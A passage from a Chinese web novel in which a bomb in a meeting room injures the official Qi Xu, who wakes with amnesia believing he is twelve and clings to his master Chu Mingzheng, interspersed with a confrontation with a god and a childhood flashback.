主神生前是万人之上的皇帝,死后掌管此间几千载,头一次被人如此不客气的用话回敬,居然也没生气。 祂将楚明铮在原地晾了数分钟,自顾自的盘旋,也不知道在想什么。 祂不急,楚明铮也不急,到最后干脆盘着腿坐地上,姿态闲散的开始等他。 过了大约一刻钟左右,祂才慢慢发话了。 “你把我的一半魂魄扔在刑架上,折磨了那么长时间,我居然从中得到了一丝慰藉。” 楚明铮:“?” 楚明铮笑了:“那您把实体在我面前化出来,我给您再慰藉慰藉?” 主神失望的叹了口气:“我的实体,只有在血池棺林里才能以前世的形态化出,你如今已经破了血池棺林的险境,就再进不去帮我了。” 楚明铮心道谁说要帮你了,这人怎么跟齐栩似的,越挨打越上瘾? “那也好办,陛下自己去到那些刑架上,自己给自己把刑罚全过一遍不就好了,何必假手他人?”楚明铮冷嘲热讽。 主神又叹了口气:“那也不行。” 楚明铮还要张口刺他,然而主神的下一句话石破天惊,差点没让楚明铮眼珠子瞪出来。 “你是齐栩的师父,朕看到你,就仿佛看到了自己前世的师父。” 楚明铮:“……” “贺松墨吗?”楚明铮思索了一下,心不在焉道:“那你联想能力还挺丰富的,我们完全不一样。” “有异曲同工之处。”主神回答。 “我脾气比他差的多。”楚明铮冷冷道:“如果你是我徒弟的话,你小时候就会在我的戒尺下长大了,管你皇不皇子。” “是的,所以朕喜欢你这种脾气。”主神承认道。 楚明铮:“?” 神经病。 “失去师父后,朕的后半生都在期待中度过。”主神慢慢的开口讲述道:“朕一直渴望着他能回来看看朕,最好是化作厉鬼,将朕碎尸万段,以消解朕的愧疚与相思之苦。” “可惜他从未来过。” “他是个几乎没有脾气的温吞男人,在狱中被虐打成那般,都不曾对朕发过火,就算再生气,也只是用那双温润的眼睛失望的看着朕。” “朕好难受,犹如隔靴搔痒。”主神轻声慨叹道。 楚明铮叹了口气:“陛下,你真有病。” “齐栩倒是幸运,遇上你这么个师父,直来直去的生气,暴戾狠辣的打骂,反倒误会全解开了,得以长相厮守。” 楚明铮默然,心道那你是没见过齐栩小时候,被他拎着皮带揍到眼泪汪汪还不敢吱声的可怜模样,见到的话你就不会羡慕他了。 说到齐栩,楚明铮又不可避免的想起另外一茬。 “你跟齐栩的那个契约。”他斟酌着开口问主神:“能修改的了么?” 主神在头顶刮过一阵凉风:“怎么,你要代替他,来给我做这个执政官?” 那倒是没这个兴趣,楚明铮心道,但是如果契约能修改,他能替齐栩承受死后百年的禁锢,也是可以的。 “可惜。”主神遗憾道:“不行。” “契约一旦生成,无法修改,你若是能做我的执政官,也算是给我找了个代替的念想,每次看见你,也就让朕想起了师父。” 楚明铮注意到祂正常说话时的自称都是“我”,一旦提到贺松墨,自称就变成了“朕”。 “不过你若是愿意时常来图腾前看看朕,骂朕几句的话,朕倒是愿意对齐栩手下留情一些,让他少放点血,少受些皮肉之苦。”主神温声道。 楚明铮心头霎时火起,难以言喻的恼怒顷刻间袭卷了他的神志。 “生前祸害自己师父,死后又祸害我徒弟。”楚明铮一字一句道:“陛下,你当真是无耻至极。” 主神轻飘飘的笑了。 “朕也没办法,谁叫朕生前死后,都是万人之上的天神呢……” 就在楚明铮与主神对峙的同一时刻,齐栩正握着圆珠笔,百无聊赖的坐在会议室里听姓魏的喷口水。 “我还是坚持我的观点,你要封的那批副本名单我看了,我不同意!”老魏掷地有声的道。 齐栩仰头望着天花板,仿佛下一秒就要灵魂出窍了:“说原因。” “原因很简单。”老魏从会议桌旁站起来,开始给他掰指头数:“首先,那批副本的情节内容上都是没有问题的,你只是觉得它们的过关率略低,就要采取一刀切的手段,把所有你觉得死亡率与难度不匹配的副本整个取缔掉,这未免也太独裁了。” “我要是独裁,我就不会现在坐在这里跟你讨论这个问题了。”齐栩淡淡的说。 老魏一噎,把眉心皱成了川字形,但还是隐忍不发的道:“副本取缔掉的情况下,副本里本身所蕴含的怨气仍然存在,你还是要找新的载体去容纳它们。” “那还不如在原有的基础上修改呢。” “我取缔掉它们不是因为它们死亡率高。”齐栩打断道。 “那是因为什么?你一直以来不就在意这个问题吗?”老魏提高声音回敬,会议桌旁他站着,齐栩坐着,气势上看起来倒是压了齐栩一截。 齐栩气的笑了一下,倏然从椅子上站起来,海拔骤增,跟老魏分庭抗礼。 “我是很在意死亡率的问题,但是这不是取缔这些副本的主要原因,这些材料你全文通读过没有?副本内容杂乱无章,推理线索毫无规律,完全就是在让玩家拿命试探生死规则,毫无逻辑可言,拼的不是智商,也不是武力值,它拼的是运气,那死亡率能不高吗?” “既然它也内容不过关,死亡率还高,取缔它不是理所当然的事情吗,你到底在跟我犟什么?”齐栩眼看着就要跟他拍起桌子来了。 老魏的脸色极其难看,“砰”的一声,重重把屁股砸在自己的椅子上,手往前襟口袋里去摸索着速效救心丸,嘴里含糊念叨着:“简直不讲道理,我气死了……” “谁不讲道理?”齐栩将文件夹拍到他桌前,恼怒道。 右手边坐着的第二公会会长周自重被这俩人大呼小叫的开会风格惊得一愣一愣,捧着自己的保温杯缩在原位,心说这会议还能这么开?! 他以前做第一公会会长的时候,主控中心不是这样子的啊! 这怎么齐栩来了之后风格迥异至此? “你别一吵不过就往外掏你那速效救心丸。”齐栩没好气的指着老魏道:“要不要给你在隔壁医院心脏门诊挂个号,我出钱。” “用不着!我退休金够!”老魏颤巍巍的咆哮。 周自重默默的又将自己往椅子里缩了缩。 齐栩训完老魏,气呼呼的往过瞥了一眼,忽然一指周自重:“老周,你是我当年在基地的老相识了,你说你站哪边?” 周自重:“!?” 这种时候扯上我做什么?! 再说谁跟你在基地的时候是老相识!我的老相识是你师父楚明铮好不好! 再不济我跟你们家小楚朝也比跟你熟啊! 乱攀什么关系呢! “那就……”周自重吞吞吐吐道:“咱可以,取缔一部分,留一部分,哎或者还是看各位高层的意见。” “你是第二公会会长,你的层次已经够高了,大胆说。”齐栩断然鼓励道。 周自重:“……” 我谢谢你啊!这种时候说我层次高。 不知道的还以为你是真好心提携呢。 周自重苦着脸道:“两位长官,咱要不然就别吵了吧,你俩意见中和一下,中和完了我们去执行,谁都不跟谁较劲,好不好?” “不好!”齐栩和老魏异口同声的道。 周自重:“……” 楚明铮你快来,我不想再作为下属参与你徒弟主持的会议了! 齐栩固然可恶,老魏也不是什么省油的灯,他把速效救心丸攥在手里,吓唬了齐栩一番,自己却没吃,只喝了几口水,缓和够了就从椅子上站起来,试图向其他公会的高层们拉票。 “周会长我就不说什么了,毕竟我知道您和那个楚明铮私交甚密,楚明铮又是齐栩的师父,我就不劝你了。”老魏吐了一口茶叶,沙哑着道。 周自重:“?” 我本人还没说话呢!你就这么草率的给我划了个阵营过去? 齐栩听到楚明铮的名字,面色松快了一丝,但总体还是阴沉着,在旁冷冷的看着姓魏的当街拉票。 “其他的会长同志,你们怎么看?” 其他的会长们各自噤若寒蝉,抬头望天。 于是魏长官一个一个的依次用目光巡视过去,三公会会长低头在复印件上划拉,四公会会长抬头假装颈椎疼,五公会会长有样学样的打开茶杯,专注的驱散水面上的几片茶叶。 六公会会长…… 这人老魏很有信心,六会长是老魏亲自提拔,当年一手从副本里带出来,又带到主控中心任职的后辈,老魏的得力干将。 他肯定会帮着自己跟齐栩吵架,然而老魏连着叫了他几声,六会长都没有反应。 老魏不由得有点着急,干脆从椅子上起身,直接走了过去,在六会长肩头一推:“跟你说话呢,走什么神?” 六会长的身形摇晃了一下,下一秒,“扑通”一声,仰面摔翻在地上。 老魏怪叫一声缩手回去,众人皆惊,纷纷站起来围过去看情况。 “怎么了怎么了?” “快送医院,刚才还好好的!” 齐栩也跟着站了起来,不过他耳朵一动,仿佛听见了几声细小的嘀嘀嘀的声音,就从六会长的口袋里传来。 那口袋布料的隔层里,隐隐还透着射出红光。 齐栩单手插兜,推开人群走到了最前边,和老魏同时俯身去查看情况。 电光火石间,齐栩脑中警铃大作,下一秒他一把推开老魏,巨大的爆炸红光从六会长口袋中轰然绽开,无数强劲气浪翻涌出滚滚热意,瞬间将齐栩整个人迎面砸中。 他甚至来不及发出一声痛呼,就被随之而至的冲击力贯穿了身形。 …… 漫长的爆炸余威,齐栩首当其冲承受了百分之八十的伤害,剩下百分之二十分给了他旁边的一些桌椅,剩下的人都被拦在他身后,几乎没有受伤。 齐栩身形剧烈一晃,被冲击波推的向后仰去,五脏六腑几乎都被炸穿了。 身处极致炽热火烤折磨的一瞬间,齐栩无声的张了张口,血线顺涌而下,然后他就发不出来一丝声音了。 “咕咚”一声,他重伤之下彻底失去了意识,昏迷倒地。 过了数秒,躲在角落里劫后余生的众与会人员们才反应过来,纷纷惊叫着炸开了锅。 “齐长官!” “快来人啊!齐长官出事了!” “快叫救护车!有没有人过来搭把手!” ……楚明铮站在主神的图腾像前,疑惑的朝外瞥了一眼,问主神:“那是什么动静?” 主神也懵:“听起来是爆炸声?” “可是谁会在主控中心的地盘上放烟花?” 楚明铮忽然感到一阵莫名的心慌,一种不妙的预感在他心里蔓延开来,他扶了一下墙,对主神道:“我先出去看看,咱俩的事回头再说。” 第90章 齐栩同志的失忆日常 主控中心一片忙乱。 浓烈的烟雾缭绕进楚明铮的鼻尖,人来人往,吵嚷不休,楚明铮逆着人流往事故的最中心挤,门外传来救护车尖锐的鸣笛声。 主控中心会议室附近围拢的工作人员太多了,怎么挤都挤不进去,直到医护们抬着担架从人群中劈开一条道的时候,楚明铮才和众人一起看清了那个担架上重伤者的样貌。 他的脑海轰然炸开,一切理智和杂念都纷纷扬扬离他远去,他满眼里都是齐栩身上刺目的红血,以及担架上无力滑落的手。 “……齐栩!” 有人在旁边拼死将他架回了原地,阻止他跟上去:“你冷静点!先让齐栩去医院,我待会儿陪你去看他,楚哥,听话!” 周自重抓着他的手臂,回身示意二公会的手下们上前搭把手,一齐将楚明铮拦在了原地。 楚明铮向来冷静沉稳,此时却死死抓着周自重的手臂,需要靠对方身上力道的支撑,才能勉强站稳身形。 “怎么回事?”他牙关咯咯打颤,一字一句痉挛着道:“老周,你告诉我发生了什么?齐栩怎么就伤成那样了……他早上临出门前还好好的。” 周自重慌张的一手扶住他,一手牢牢扣在他肩头,拼命安抚:“没事,就是有人往主控中心会议室里装了个炸药,齐栩一过去就引爆了,应该是冲着他来的。” 楚明铮嘴唇苍白如纸,他几乎要脱力站不稳。 怎么会这样? 齐栩的身体不是被主神改良过,轻易不会受伤,正常情况下堪称坚无不摧吗? 怎么会被一个爆炸就伤的满身是血? 楚明铮心乱如麻,他抓着周自重的手臂,宛如抓住了最后一根救命稻草:“带我去他抢救的地方,我不是主控中心的人,我进不去你们的医院,你带我去,求你了老周……” 楚明铮的脸色太差了,周自重这时候也没心情跟他开玩笑说,你楚明铮也有求我的时候,当即将楚明铮从腿软的状态一把扶起,快步朝医院而去。 一刻钟之后,医院走廊。 为数不多几个有资格进入等候区的高层正在走廊里焦头烂额的徘徊。 “我不知道啊!老于虽然是我的人,但是他也不是什么事情都汇报给我,他今天早上进入会议室的时候一切都正常,谁能想到会开着开着,兜里引爆个炸弹?”魏长官在等候区急切的同三四会长分别解释着。 四会长面色凝重,低声安抚了老长官几句,随即听见等候区门槛处的脚步声,便抬头起来:“周会长!你终于来了,你旁边那位是……” 第四公会会长怔了一下,紧接着就认出了来人的身份:“楚明铮先生。” 老魏和其余几个会长高层不约而同转身过来,目光落在了周自重和楚明铮身上。 窃窃私语不绝于耳。 “那就是楚明铮?” “长得跟以前不太一样了……不过他怎么三十多了还这么好看,完全不见老。” “现在是关心这个事的时候吗?” 五会长回身冲两个手下瞪了一眼,那两人顷刻噤声。 楚明铮快步走到手术室门前,第四公会会长客客气气的朝他伸出手:“好久不见,楚先生好。” 另外几人也都接连过来跟楚明铮招呼问好。 楚明铮心不在焉的一一应了,对这场景倒是见怪不怪。 事实上也确实不值得奇怪,楚明铮是个很神奇的人物,他从未加入过主控中心一天,始终以个人的身份游离体系之外,但却是总榜排行前十中唯一一个非主控中心成员的玩家。 从前总榜第一的时候就名气极大,无人不晓。 后来好不容易销声匿迹了,新上任的执政官齐栩又是他一手带大的徒弟。 更别说后来齐栩跟他不清不楚的关系也闹的动静不小。 主控中心这一系列高层没有不好奇这位的,当然也没有敢小觑楚明铮的。 “到底怎么回事?”楚明铮这会儿稍微冷静下来了,他将满腹焦躁强压下去,强迫自己镇定开口,目光环顾过这群人各异的神色,心里隐约觉得这爆炸案没有老周说的那么简单。 主控中心内部斗争激烈,不知道作案者会不会就在眼前这群人中。 “具体情况我们也不太清楚,反正就是今早开会的时候,第六公会于会长突然暴毙,齐长官过去检查他情况的时候,发现他口袋里藏有爆破功率极强的爆破装置。” “然后就……”四会长为难的道。 周围剩下的几人接连附和,连声称是。 楚明铮在他们这些人当中又审视的扫视一圈,最后目光落在了不远处那个年纪稍长的男人身上。 魏长官刚才一直隐身在同事身后,假装没看到楚明铮的出现。 然而楚明铮直接拨开人群,越众而过,径直走到老魏面前。 “您姓魏?”楚明铮单刀直入。 老魏倨傲的点点头,他个子虽然比楚明铮稍矮,人因为上了年纪,身形也佝偻几分,但还是挺直腰杆跟楚明铮相对而立,尽量不让自己在楚明铮面前落于下风。 楚明铮虽然是个传说级的人物,但对于老魏而言,他也是个年轻人。 年轻人就应该适当听劝,无论过副本的本事有多么厉害,但在人情世故方面,还是不抵老人。 何况老魏自己问心无愧,他不觉得楚明铮能把自己怎么样,于是挺胸抬头与楚明铮对视道:“是,我姓魏,单名一个仞,你有何贵干?” 楚明铮点了点头,开门见山:“齐栩说你在主控中心总欺负他,是真的吗?” 老魏:“?” 其余主控中心高层:“???” 周自重在一旁狂抽嘴角,心里吐槽道,谁欺负谁?! 就齐栩那个三言两语把老魏气到狂吞速效救心丸的做派…… 齐栩敢不敢自己醒来当着老魏的面,再给他师父哭诉一句老魏欺负他? 老魏闻言简直快气炸了,站在手术室门外就要往下躺倒,身后两个手下忙不迭的上前将他扶稳站好,不要摔着了。 “污蔑,赤裸裸的污蔑……”老魏靠在几个手下搀扶过来的手臂里,虚弱至极的颤巍道:“你但凡去问问他们开会的其他人,你就知道此话的荒唐程度了!” 楚明铮点点头,简短道:“好,你们平时工作上的摩擦我不管,但是如果最后查出来这次的爆炸跟您有关。” 楚明铮微微停顿了一下:“那就别怪我对您翻脸无情了。” “你胡扯!你随便查,我怕你吗!”老魏的咆哮声震天响,指着楚明铮就要斥骂,被周自重连哄带劝的拼命往下安抚。 老魏气的险些又是拿速效救心丸,又是要仰倒过去,手术室门口一片人仰马翻,劝架的劝架,打圆场的打圆场,乱成一团。 楚明铮疲倦的转过身,不再搭理他们了。 他自己找了个角落,在墙角蹲身下来,苍白的面容深深埋进掌心里,身形显得瘦削而疲倦至极。 就在这时,手术室的门被护士从里侧推开了,全场又哗然噤声两秒,两秒后呼啦啦全都围了上去,七嘴八舌的问齐栩情况。 主治医师的神色看起来没有很凝重,他不紧不慢的摘下口罩道:“齐长官的身体机能确实异于常人,原本刚送来的时候,长官内脏多处受震出血,换了其他人肯定就抗不过去了。” “但是齐长官的自愈能力实在出乎我的意料,虽然早有耳闻执政官的身体结构与他人不一样,但是今天真实看见具体情况还是头一次。”主治医生的脸上浮现出一丝欣慰。 周自重在人群里挤到最前边,大声问道:“所以就是那孙子没有生命危险了,是这个意思吗?” “是……但是也不全是。” 楚明铮精疲力竭的站起来,从人群后试图穿到最前去,旁人也都知道他跟齐栩的关系,于是纷纷给楚明铮让出路来。 楚明铮攥了医生的手臂,头一回在众人面前露出焦急的神色:“那是什么情况,您倒是说啊!” 医生让开身形,先挥手让助手将齐栩从手术室转移到病房,一行人乌泱乌泱的又跟着他到病房外。 “身体上倒是没什么大碍了,就是爆炸的时候冲击力太强,好像撞到了后脑勺,醒来之后有智障或者失忆的风险,各位做好心理准备。” 楚明铮膝盖倏然又是一软,周自重连忙将他重新用力搀扶起来,一迭声的道:“没事没事,起码命保住了啊!是不是楚哥,你放宽心,只要齐栩人活着就行,人活着就什么都有转机!” 楚明铮失魂落魄的攥着老周的手,抬头茫然道:“医生的意思是……他醒来以后有可能变成傻子?” 周自重不忍的点了点头。 四下鸦雀无声。 走廊里冷风穿堂,呜呜作响。 楚明铮一动不动的坐在廊中长椅上守了一夜,直到第二天清晨,天蒙蒙亮的时候,大徐和楚小妙他们才听到消息,跟着府邸中的管家一道,急吼吼的跑来医院看他。 “哥!”楚小妙抱着外套率先冲进来,她不由分说,拿着带来的衣服就往楚明铮身上披:“你就穿这么点东西,在医院里挨了一夜?” 楚明铮任由她将外套强行披在自己肩头,眼睛熬的通红,头疼的道了一声:“没事。” “齐栩情况怎么样了?”大徐挨着他坐下来关切道:“你都不知道,昨天消息传来,府邸乱成一团,全都炸锅了,那群人天都塌了,我们今天早上才有机会逮着回来取东西的焦副官,让他带我们来医院找你。” 楚明铮神情凝固似的回答道:“我还不知道情况,看看今天医生怎么说吧。” 皇天不负有心人,楚明铮话音刚一落下,病房里的护士就推门出来,说人醒了,让家属进去看看。 楚明铮和祝檀雪同时起跳,还有旁边几个主控中心的下属,四五工会负责人一齐围了上去,鱼贯而入。 齐栩蜷缩在病床上,姿势诡异。 他头上还缠着绷带,昨天入院入的匆忙,没有合身的衣服,狭小而单薄的病号服在他高瘦的身形上显得并不妥帖,有种大人被迫塞进小孩衣服里的滑稽感。 齐栩一双圆溜溜的黑眼睛,正瞪在面前这群人的脸上,眼神里满是惊恐的警惕。 “你们是谁,这是哪儿?你们对我做了什么?”齐栩惊慌失措的将臃肿的被子抱在身前,身体呈防御姿态,仿佛随时准备下床逃跑。 “长官,你不认识我了?”祝檀雪靠近了两步,着急道:“我是小祝啊,你亲自招进来的!” 齐栩的眼睛瞪的更大了,仿佛无声的在质问:谁是小猪,什么小猪? 四公会会长陪着笑脸,点头哈腰的围到病床前,和煦的笑道:“齐长官,我你总该认识吧?老李,跟你共事好多年了!咱俩每天晚上都是最晚一个从主控中心离开的,搭班的时间可太长了。” 齐栩像个小兽一样伏在床上,骤然低吼一声,抄起枕头劈头盖脸就朝那几人砸过去,大发脾气的吼道:“我不认识你们!” “你们是谁,放我走!” 他说着掀开被子就要下床,然而下床的瞬间,身上的麻药劲还没过,腿脚一麻,一个趔趄就要摔下去。 他已经做好重重摔倒被砸疼的准备了。 然而齐栩闭上眼睛,下一秒迎接他的却不是冰冷的地面,而是那个男人身上熟悉的香气,以及温暖的怀抱。 齐栩愣愣的被人扣头搂着接在怀里,对方抱住他的手臂沉稳而有力,干燥柔和的衣料上全是洗衣粉的芬芳。 “……师父?” 楚明铮将他扶着送回床上,讶异道:“你这是选择性失忆么?其他人都不认识,就只认识我啊?” 齐栩呆滞的抬头看着楚明铮的面容,忽然鼻尖一酸,哇的大哭起来,猛然将楚明铮死命搂住,将脸埋在他的腰间,呜呜咽咽哭的上气不接下气。 一个成年男人在手臂肌肉全然收紧的情况下,所爆发出来的力道是极为骇人的,尤其是齐栩这会儿脑子不清晰,下手毫无轻重,只知道用这种发泄蛮力一般的方式,来倾倒自己委屈的情绪。 楚明铮呲目欲裂,只觉自己肋骨都快被他勒断了。 “停……你放手,咳咳!放手……”楚明铮拍了几下他的后背,身后主控中心的一帮工作人员也都纷纷上来劝阻。 齐栩这才红着眼睛,将楚明铮松开了。 “师父,我还以为你不要我了。”齐栩坐在床上,凄凄惨惨的抹着眼泪,哭着哭着就又要伸出手,继续去找楚明铮要抱抱。 楚明铮无奈,只好上前,一边任由他搂,一边警告道:“抱可以,你轻点啊,我没有第二段肋骨让你往断拧了。” 主控中心一众人员看的目瞪口呆,心说这是什么画风? 齐栩平时在主控中心冷峻沉稳,锋芒毕露,这现在受个伤,怎么还被夺舍了? 眼前的这位,跟齐长官是同一个人吗? “你别不要我。”齐栩抱着他的腰,哭的撕心裂肺:“师父,你别不要我……” “我不会在副本里给你拖后腿的,我下次一定好好表现,我,我……”齐栩满脸的眼泪,一股脑的往楚明铮身上蹭,看起来可怜到极点了。 “我就只有师父了,要是连你也不要我,我就无家可归了。” 楚明铮一边有一下没一下的在他肩头拍打着安慰,一边越听这话,越觉得耳熟,好像在哪里听过? 他的大脑停止转动了大概那么两三秒的功夫,随即郑重的俯下身,问这哭天抹泪的傻子。 “师父问你,现在是几几年?” 齐栩愣愣的回答道:“2015年。” 楚明铮:“?” 楚明铮犹不死心,又问道:“你今年多大了?” “十二岁。”齐栩小声回答。 “……” 很好,齐栩同志被砸到了脑子,一夜穿越回了十二年前。 他现在认为自己是一个十二岁的小朋友。《 》 90-95 第91章 “他都这样了,你们还想…… 十二岁的齐栩,是个什么模样来着? 他那会儿刚刚被楚明铮收养一两年,还处于一个每天都吓得像个鹌鹑一样的阶段。 楚明铮收养他的时候,自己也是个二十多岁的年轻人,不会带孩子,不懂儿童心理学,那副清冷俊秀的长相在成年人眼中,或许还算看得过去,可在孩子眼里,简直是跟“亲和力”三个字一点关系都没有。 相处下来时间长了,才能感受到楚明铮本心里的外冷内热和人格魅力。 小孩子是不懂这些的,起码那个阶段的齐栩不懂。 楚明铮年轻的时候还喜欢装酷,整日一张冷脸,一身黑色夹克,又拽又冷淡,跟谁都不冷不热的。 跟齐栩这种岁数相差太多的小朋友更是没什么耐心,一个问题只讲解一遍,你要是听不懂,你就滚到副本里自己实践去吧,反正我不能护你一辈子。 齐栩那段时间最担心的问题,就是楚明铮会不会哪天嫌他太笨,不要他了。 那他一个人孤苦无依,还能去哪里呢? 楚明铮想起十来年前的一回事。 齐栩那时候岁数太小,跟在他身后跌跌撞撞的闯副本,就算再听话,再天赋异禀,也总有不熟练的地方,好几次都因为冒失和胆怯,差点丧生在副本鬼怪的爪下。 楚明铮对此从不心软,一般情况下,他会在副本里冷着脸把徒弟从鬼爪中救出来,然后自己三下五除二破解谜题,带着齐栩出副本。 等回到基地,再强迫齐栩进自己房间接受训话。 “我之前有没有跟你说过,进副本以后先不急着去到处找线索,你不知道找线索的途中会碰到什么危险,也不知道哪个举动是催命符——” “我知道,师父我今天太着急了。”齐栩惶恐的站在他面前,手指紧紧绞着衣角,十分不安道。 “不要打断我说话。”楚明铮冷若冰霜道。 齐栩的眼眶倏然就红了,很快低下头去不言语。 楚明铮瞥他一眼,无动于衷的继续输出:“尤其是今天这种暴风雪山庄类型的别墅案,分析推理是要排在找线索证据之前的。” “你一声不吭自己去宾客的房间找线索算怎么回事?凶手万一埋伏在门板后边给你一下呢?” “我就算有三头六臂也来不及给你收尸。”楚明铮训斥道。 齐栩抬起头,带着哭腔说了声:“对不起师父……” “你对不起我干什么?”楚明铮不耐烦道:“你自己的命,你自己珍惜。” “再有下次,你就别跟着我一起了,收拾收拾离开基地,不用告诉我,也省得我看见你闹心。”楚明铮说完,就直接挥手示意他出去。 完全没看见齐栩那双因为极度恐惧而骤然紧锁的眼睛。 楚明铮当然没打算赶齐栩走,但是他这个人在十年前自己也是个二十来岁的小年轻,加上实力强劲,顺风顺水,副本内外都没人敢不给他面子,他不需要考虑自己的说话风格是否会得罪人。 也不需要对齐栩一个非亲非故的小朋友考虑太多说话方式上的问题。 毕竟我肯在副本里看顾你,你就应该拿我当上苍派来拯救你的天神了,我有什么必要训你的时候还顾及你的自尊心? 齐栩却把他的所有话都当回事了。 他一个人魂不守舍的从楚明铮房间里走出来,慢吞吞的挪动到厨房去做饭,顺便把池里的碗洗了。 基地里向来是每个人轮流打扫卫生做饭的,今天刚好轮到齐栩。 哦,这项制度当然是将楚明铮排除在外的,楚明铮基本不做家务,他的精力要放在副本上,放在保护大家上,这是基地所有人的共识。 齐栩一边洗碗,一边扑簌簌的掉眼泪,豆大的泪珠砸在手背上,跟洗洁精的泡沫融合在一起,交错出小朋友酸楚的感伤意味。 楚明铮在楼上躺着闭目养神,就在他快要睡着的间隙,楼下忽然传来一声巨响。 楚明铮倏然睁开眼睛,被惊得从床上跳起来,听动静应该是厨房有个什么东西被打翻了。 楚明铮站在原地犹豫了一下,还是披上衣服准备下去看看。 他走到厨房门口,看见齐栩正蹲在地上,拿手去捡那些被打碎的白瓷碗碎片。 楚明铮眉心微微一跳,出声喝道:“别拿手直接碰!” 他不说还好,一说齐栩就被他突如其来的声音吓了一跳,手心随即一抖,掌中被划出一道修长的血痕。 楚明铮“嘶”的抽了一口凉气,那伤口看着就疼,他三步并作两步跨过去,俯身将这小朋友从地上拽起来,一边拽着他去客厅找医药箱处理伤口,一边嘴里抱怨道:“你怎么总是笨手笨脚的,什么时候能让我省点心……” 齐栩一直低着头,什么话都不说,直到楚明铮要让他把手伸出来,给他伤口上涂酒精的时候,他才终于仿佛委屈决堤了似的,蹲在医药箱旁,猛然抱住楚明铮的腰崩溃痛哭了起来。 楚明铮:“?” 楚明铮被他搞得二张和尚摸不着头脑,于是伸手在他后脑勺上轻轻一拍:“你哭什么?上个酒精而已,又不疼。” 齐栩不松手,咬着牙将脸埋在楚明铮怀里拼命抽泣。 那声音隐忍而断续,孩子仿佛受了天大的委屈,死死抓着楚明铮,生怕楚明铮下一秒就飞了似的。 楚明铮被他搞的手足无措,但是他又实在不擅长哄一个嚎啕大哭的孩子,楚小妙跟着他的时候已经懂事了,而且那小姑娘不怎么爱哭,楚明铮也是头一回见齐栩这种一言不合眼泪决堤的生物。 “别哭。”楚明铮无奈道:“哎,你眼泪蹭我衣服上了,撒开。” “师父……”齐栩眼泪汪汪的从他腰间抬起头来。 楚明铮:“嗯?” “你能不能别不要我。” 楚明铮更是莫名其妙:“我什么时候说过我不要你了?” “你别赶我离开基地。”齐栩像搂抱救命稻草一样,抽抽噎噎的将楚明铮的腰身勒的死紧,楚明铮腰线劲瘦,身上本来就没二两肉,被他这么歇斯底里的一勒,更是险些老血都吐出来了。 “我没说过这话……”楚明铮一边将他从身上往下扒拉,一边费劲的道。 这小孩平时看着不显山不漏水,猛然爆发出力道的时候,手劲居然比成年人还大。 楚明铮没办法,只好使了个巧劲,将齐栩从身上挣开了。 他蹲身下来,扶着小朋友的肩膀,跟那双通红的兔子眼睛大眼瞪小眼半晌,过了片刻才后知后觉齐栩受刺激难过的点在哪儿。 “……你说的是我刚才在卧室里训你的话?” 齐栩含着眼泪点了点头。 楚明铮哭笑不得,用力一揉他的脑袋:“我还道是多大的事呢!” “话是说的重了些,但那不也是为了让你保命才讲的吗?” 楚明铮从地上站起来,将他也顺势一扶,带到沙发上翻开医药箱找酒精和纱布。 “你真的不会赶我走吗?”小朋友乖乖将手伸出去,胸腔里仍然满含哽咽的说道。 “不会。” “为什么?” “你还这么小,离开我能去哪儿?”楚明铮心不在焉的给他抹着药道。 齐栩怔了怔,小声嘟囔了一句:“那我想慢点长大。” 最好一辈子不离开师父。 最后一句话楚明铮没有听见,无数回忆淹没在岁月的光影里。 ……眼前齐栩的这幅模样,使楚明铮不可避免的想起了这段记忆,齐栩防备意味很强的缩在床角,除了楚明铮之外,谁都不许靠近。 主控中心的人想把他接走回总部修养,齐栩死都不肯挪动半分身形,大有你们都是骗子,我不跟你们走的意思。 双方人马在病房门口对峙数个小时,齐栩也不肯碰别人送来的饭,只有楚明铮拎着饭盒走进来,给他递到嘴边的东西,他才勉强吃一两口。 再这么下去也不是办法。 楚明铮思来想去,对祝檀雪和焦副官道:“让他跟我走吧,我带他回家,也许就能放松下来了。” 祝秘书愣了一下,问说是哪个家? “基地。”楚明铮回答道。 “他在那里会有安全感的,相信我一次。” “可是——”祝秘书还要犹豫,却被楚明铮截口打断了话音。 “我觉得让他在小时候长大的地方生活上一段时间,可能有助于恢复记忆,为了安全起见,你们可以派人在附近保护。” 副官面上流露出为难的神色:“可是楚先生,您的基地离主控中心距离有点远,往返车程两个小时,长官住在那里……会不会不方便?” 楚明铮匪夷所思的看着他,震惊道:“他都这样了,你们还想让他每天通勤上班?” “……” 众人无言以对。 不得不说楚明铮这种强硬的大家长主义作风不仅对他自己手下好使,现在蔓延到主控中心这批人这里,也同样好使。 他以一己之力,做了主控中心全体没头苍蝇的决定,直接办了出院,带着齐栩就返回基地,连一众跟在身后乱出主意的四会长五会长们理都没搭理一下。 副官和祝檀雪他们忙不迭的去府邸里收拾东西,又将马飞仙楚小妙等人一并带了出来,驱车紧跟着楚明铮朝基地的方向而去。 直到日暮时分,一整个基地的老队员们才总算安顿下来。 众人站在熟悉的基地院落里,彼此面面相觑的看了看,都不由得失笑。 “笑什么?”楚明铮擦了把脸上的汗,气喘吁吁的将屋子收拾了一遍,站在门槛处不解的问众人。 大徐一摊手:“你俩兜兜转转这么一大圈,现在居然又回到原点了,可喜可贺。” 楚明铮没好气的道了声:“去!” 末了又回身警告众人:“在齐栩面前说话都给我注意点啊,不能再像以前一样对他态度不好了,听到了没有?” “得了吧楚哥,平时就你对他态度最差。”冉云帆小声吐槽了一句。 紧接着他倏然被马飞仙从身后捂住了嘴,威胁性的瞪了一眼,示意你干什么,不要命了,敢说这种实话! 楚明铮无力的挥了挥手,示意众人自便,自己歇一会儿便回屋去了。 齐栩在自己原先的那间卧室里呆着。 楚明铮站在门口,刚准备推门进去,心中却无端的升起几分忐忑。 他跟齐栩在这间房子里所产生的隔阂太多了,以至于连楚明铮这种毫无顾忌的人,都忍不住有点想临阵脱逃。 他不知道怎么去面对十二岁的齐栩。 楚明铮一个人做了好一会儿心理准备,这才推开卧室门,缓缓走进去了—— 作者有话说:这两天在外地浪,存稿告急中[爆哭] 第92章 “但是我也爱你。”…… 齐栩坐在床榻上,用一种十分陌生的眼光打量这这间久无人居的屋子。 这间卧室乍一看跟他印象里自己的卧室没什么太大区别,家具摆放,壁纸颜色都如出一辙,但是莫名的齐栩就觉得说不上来的不对劲,好像他很久没回来过了。 齐栩起身掀了一下被褥,扬起一阵呛人的灰尘和扑面而来螨虫的味道。 他嫌恶的皱了皱眉头,正好身后卧室门开了,楚明铮推门走进来,见状一愣,连忙将他从床前扯开了。 